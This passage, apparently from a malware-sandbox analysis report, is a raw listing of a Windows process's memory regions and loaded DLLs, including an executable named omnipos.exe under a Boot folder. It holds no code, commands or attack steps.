entry_point = 0x0 region_type = private name = "private_0x00000000002e0000" filename = "" Region: id = 7263 start_va = 0x430000 end_va = 0x43ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000430000" filename = "" Region: id = 7264 start_va = 0x440000 end_va = 0x62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 7510 start_va = 0x7fefe4d0000 end_va = 0x7fefe5aafff monitored = 0 entry_point = 0x7fefe4f0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 7511 start_va = 0x7fefdb30000 end_va = 0x7fefdbcefff monitored = 0 entry_point = 0x7fefdb325a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 7512 start_va = 0x7feffa50000 end_va = 0x7feffa6efff monitored = 0 entry_point = 0x7feffa560e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 7513 start_va = 0x7fefe3a0000 end_va = 0x7fefe4ccfff monitored = 0 entry_point = 0x7fefe3eed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 7514 start_va = 0x440000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 7515 start_va = 0x5b0000 end_va = 0x62ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 7516 start_va = 0x440000 end_va = 0x53ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 7517 start_va = 0x550000 end_va = 0x55ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000550000" filename = "" Region: id = 7518 start_va = 0x7fef7fc0000 end_va = 0x7fef8068fff monitored = 1 entry_point = 0x7fef7fc1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 7815 start_va = 0x7fefa890000 end_va = 0x7fefa892fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 7863 start_va = 0x7fefdef0000 end_va = 0x7fefdf60fff monitored = 0 entry_point = 0x7fefdf01e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 7864 start_va = 0x7fefdce0000 end_va = 0x7fefdd46fff monitored = 0 entry_point = 0x7fefdceb03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 7865 start_va = 0x77710000 end_va = 0x77809fff monitored = 0 entry_point = 0x7772a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 7866 start_va = 0x7feffa70000 end_va = 0x7feffa7dfff monitored = 0 entry_point = 0x7feffa71080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 7867 start_va = 0x7feff340000 end_va = 0x7feff408fff monitored = 0 entry_point = 0x7feff3ba874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 7914 start_va = 0x40000 end_va = 0x68fff monitored = 0 entry_point = 0x41010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 7915 start_va = 0x630000 end_va = 0x7b7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000630000" filename = "" Region: id = 8104 start_va = 0x40000 end_va = 0x68fff monitored = 0 entry_point = 0x41010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 8105 start_va = 0x7fefdcb0000 end_va = 0x7fefdcddfff monitored = 0 entry_point = 0x7fefdcb1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 8106 start_va = 0x7feff410000 end_va = 0x7feff518fff monitored = 0 entry_point = 0x7feff411064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 8107 start_va = 0x7c0000 end_va = 0x940fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000007c0000" filename = "" Region: id = 8108 start_va = 0xe60000 end_va = 0x225ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000e60000" filename = "" Region: id = 8109 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 8110 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000040000" filename = "" Region: id = 8111 start_va = 0x950000 end_va = 0xa20fff monitored = 1 entry_point = 0xa1f1ee region_type = mapped_file name = "omnipos.exe" filename = "\\Boot\\zh-CN\\omnipos.exe" (normalized: "c:\\boot\\zh-cn\\omnipos.exe") Region: id = 8275 start_va = 0x950000 end_va = 0xa20fff monitored = 1 entry_point = 0xa1f1ee region_type = mapped_file name = "omnipos.exe" filename = "\\Boot\\zh-CN\\omnipos.exe" (normalized: "c:\\boot\\zh-cn\\omnipos.exe") Region: id = 8276 start_va = 0x7fefc920000 end_va = 0x7fefc92bfff monitored = 0 entry_point = 0x7fefc921064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 8291 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8340 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8483 start_va = 0x7fef3f30000 end_va = 0x7fef49f6fff monitored = 1 entry_point = 0x7fef3f363a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 8484 start_va = 0x7fef3f00000 end_va = 0x7fef3f15fff monitored = 0 entry_point = 0x7fef3f0c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 8485 start_va = 0x7fef3e40000 end_va = 0x7fef3efcfff monitored = 0 entry_point = 0x7fef3ec7db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 8486 start_va = 0x50000 end_va = 0x50fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 8487 start_va = 0x60000 end_va = 0x6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 8488 start_va = 0x70000 end_va = 0x7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 8556 start_va = 0x7fe948e0000 end_va = 0x7fe948effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948e0000" filename = "" Region: id = 8557 start_va = 0x7fe948f0000 end_va = 0x7fe948fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe948f0000" filename = "" Region: id = 8558 start_va = 0x7fe94900000 end_va = 0x7fe9498ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94900000" filename = "" Region: id = 8559 start_va = 0x7fe94990000 end_va = 0x7fe949fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94990000" filename = "" Region: id = 8560 start_va = 0x80000 end_va = 0x80fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 8561 start_va = 0x190000 end_va = 0x190fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 8562 start_va = 0x1f0000 end_va = 0x26ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 8563 start_va = 0x950000 end_va = 0xb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000950000" filename = "" Region: id = 8564 start_va = 0x950000 end_va = 0x9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000950000" filename = "" Region: id = 8565 start_va = 0xb20000 end_va = 0xb9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b20000" filename = "" Region: id = 8566 start_va = 0x2290000 end_va = 0x238ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002290000" filename = "" Region: id = 8567 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 8568 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 8569 start_va = 0x2390000 end_va = 0x1a38ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 8627 start_va = 0x1a390000 end_va = 0x1a70ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a390000" filename = "" Region: id = 8628 start_va = 0x9d0000 end_va = 0xad0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000009d0000" filename = "" Region: id = 8629 start_va = 0x1a800000 end_va = 0x1a8fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a800000" filename = "" Region: id = 8630 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 8682 start_va = 0xba0000 end_va = 0xc9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ba0000" filename = "" Region: id = 8683 start_va = 0x1a9d0000 end_va = 0x1aacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a9d0000" filename = "" Region: id = 8684 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 8706 start_va = 0x1aad0000 end_va = 0x1ad9efff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 8722 start_va = 0x7fef2840000 end_va = 0x7fef3e3cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 8730 start_va = 0x7fefe060000 end_va = 0x7fefe262fff monitored = 0 entry_point = 0x7fefe083330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 8731 start_va = 0xca0000 end_va = 0xd1cfff monitored = 0 entry_point = 0xcacec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8732 start_va = 0xca0000 end_va = 0xd1cfff monitored = 0 entry_point = 0xcacec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 8733 start_va = 0x7fefd690000 end_va = 0x7fefd69efff monitored = 0 entry_point = 0x7fefd691010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 8839 start_va = 0x7fefc0b0000 end_va = 0x7fefc105fff monitored = 0 entry_point = 0x7fefc0bbbc0 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 8840 start_va = 0x1ada0000 end_va = 0x1afcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 8841 start_va = 0xca0000 end_va = 0xd7efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ca0000" filename = "" Region: id = 8842 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 8843 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 8844 start_va = 0x7fe94a00000 end_va = 0x7fe94a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a00000" filename = "" Region: id = 8890 start_va = 0x7fe94a80000 end_va = 0x7fe94a8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a80000" filename = "" Region: id = 8891 start_va = 0x7fe94a90000 end_va = 0x7fe94a9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe94a90000" filename = "" Region: id = 8916 start_va = 0x7fef7460000 end_va = 0x7fef7462fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 8931 start_va = 0x7fef5450000 end_va = 0x7fef559efff monitored = 1 entry_point = 0x7fef5451090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 8954 start_va = 0x1a0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 8996 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 8997 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 8998 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9003 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9018 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9033 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 9063 start_va = 0x1ada0000 end_va = 0x1aedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ada0000" filename = "" Region: id = 9064 start_va = 0x1af50000 end_va = 0x1afcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001af50000" filename = "" Region: id = 9078 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9113 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9114 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 9115 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 9129 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9130 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9157 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9184 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9194 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9207 start_va = 0x1a710000 end_va = 0x1a771fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorrc.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorrc.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscorrc.dll") Region: id = 9228 start_va = 0x1add0000 end_va = 0x1ae0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001add0000" filename = "" Region: id = 9229 start_va = 0x1ae60000 end_va = 0x1aedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ae60000" filename = "" Region: id = 9230 start_va = 0x1b070000 end_va = 0x1b16ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b070000" filename = "" Region: id = 9231 start_va = 0x7fffffd3000 end_va = 0x7fffffd4fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd3000" filename = "" Region: id = 9232 start_va = 0x7fffffd5000 end_va = 0x7fffffd6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd5000" filename = "" Region: id = 9335 start_va = 0x1b2b0000 end_va = 0x1b3affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b2b0000" filename = "" Region: id = 9336 start_va = 0x7fefd070000 end_va = 0x7fefd087fff monitored = 0 entry_point = 0x7fefd073b48 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 9337 start_va = 0x7ffffefe000 end_va = 0x7ffffefffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefe000" filename = "" Region: id = 9338 start_va = 0x3e0000 end_va = 0x424fff monitored = 0 entry_point = 0x3e1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9339 start_va = 0x3e0000 end_va = 0x424fff monitored = 0 entry_point = 0x3e1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9340 start_va = 0x3e0000 end_va = 0x424fff monitored = 0 entry_point = 0x3e1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9341 start_va = 0x3e0000 end_va = 0x424fff monitored = 0 entry_point = 0x3e1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9342 start_va = 0x3e0000 end_va = 0x424fff monitored = 0 entry_point = 0x3e1064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9426 start_va = 0x7fefcd70000 end_va = 0x7fefcdb6fff monitored = 0 entry_point = 0x7fefcd71064 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 9427 start_va = 0x7fefd740000 end_va = 0x7fefd753fff monitored = 0 entry_point = 0x7fefd7410e0 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 9428 start_va = 0x1b3c0000 end_va = 0x1b4bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b3c0000" filename = "" Region: id = 9429 start_va = 0x7ffffefc000 end_va = 0x7ffffefdfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefc000" filename = "" Region: id = 9461 start_va = 0x1b4d0000 end_va = 0x1b5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b4d0000" filename = "" Region: id = 9462 start_va = 0x7ffffefa000 end_va = 0x7ffffefbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffefa000" filename = "" Region: id = 9503 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9532 start_va = 0x1b600000 end_va = 0x1b6fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b600000" filename = "" Region: id = 9533 start_va = 0x7ffffef8000 end_va = 0x7ffffef9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffef8000" filename = "" Region: id = 9560 start_va = 0x7fef1bd0000 end_va = 0x7fef283efff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 9574 start_va = 0x7fef5250000 end_va = 0x7fef5444fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 9578 start_va = 0x7fef0b20000 end_va = 0x7fef1bc5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 9593 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9594 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 9703 start_va = 0x7fef8940000 end_va = 0x7fef8955fff monitored = 1 entry_point = 0x7fef894e5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 9704 start_va = 0x1b700000 end_va = 0x1b9d1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Region: id = 9705 start_va = 0x1b0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 9706 start_va = 0x1c0000 end_va = 0x1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 9707 start_va = 0x1d0000 end_va = 0x1dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001d0000" filename = "" Region: id = 9708 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001e0000" filename = "" Region: id = 9709 start_va = 0x3e0000 end_va = 0x3effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 9839 start_va = 0x3f0000 end_va = 0x3fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 9840 start_va = 0x400000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000400000" filename = "" Region: id = 9841 start_va = 0x410000 end_va = 0x41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000410000" filename = "" Region: id = 9842 start_va = 0x420000 end_va = 0x42ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000420000" filename = "" Region: id = 9843 start_va = 0x540000 end_va = 0x54ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000540000" filename = "" Region: id = 9844 start_va = 0x560000 end_va = 0x56ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000560000" filename = "" Region: id = 9845 start_va = 0x570000 end_va = 0x57ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000570000" filename = "" Region: id = 9846 start_va = 0x580000 end_va = 0x58ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000580000" filename = "" Region: id = 9847 start_va = 0x590000 end_va = 0x59ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000590000" filename = "" Region: id = 9848 start_va = 0x5a0000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005a0000" filename = "" Region: id = 9849 start_va = 0xae0000 end_va = 0xaeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ae0000" filename = "" Region: id = 9850 start_va = 0xaf0000 end_va = 0xafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 9938 start_va = 0xb00000 end_va = 0xb0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b00000" filename = "" Region: id = 9939 start_va = 0xb10000 end_va = 0xb1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b10000" filename = "" Region: id = 9940 start_va = 0x2260000 end_va = 0x226ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002260000" filename = "" Region: id = 9994 start_va = 0x2270000 end_va = 0x227ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002270000" filename = "" Region: id = 9995 start_va = 0x2280000 end_va = 0x228ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002280000" filename = "" Region: id = 9996 start_va = 0x1a780000 end_va = 0x1a78ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a780000" filename = "" Region: id = 10075 start_va = 0x1a790000 end_va = 0x1a79ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a790000" filename = "" Region: id = 10076 start_va = 0x1a7a0000 end_va = 0x1a7affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7a0000" filename = "" Region: id = 10077 start_va = 0x1a7b0000 end_va = 0x1a7bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7b0000" filename = "" Region: id = 10078 start_va = 0x1a7c0000 end_va = 0x1a7cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7c0000" filename = "" Region: id = 10079 start_va = 0x1a7d0000 end_va = 0x1a7dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7d0000" filename = "" Region: id = 10080 start_va = 0x1a7e0000 end_va = 0x1a7effff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7e0000" filename = "" Region: id = 10081 start_va = 0x1a7f0000 end_va = 0x1a7fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a7f0000" filename = "" Region: id = 10082 start_va = 0x1a900000 end_va = 0x1a90ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a900000" filename = "" Region: id = 10083 start_va = 0x1a910000 end_va = 0x1a91ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a910000" filename = "" Region: id = 10084 start_va = 0x1a920000 end_va = 0x1a92ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a920000" filename = "" Region: id = 10186 start_va = 0x1a930000 end_va = 0x1a93ffff monitored 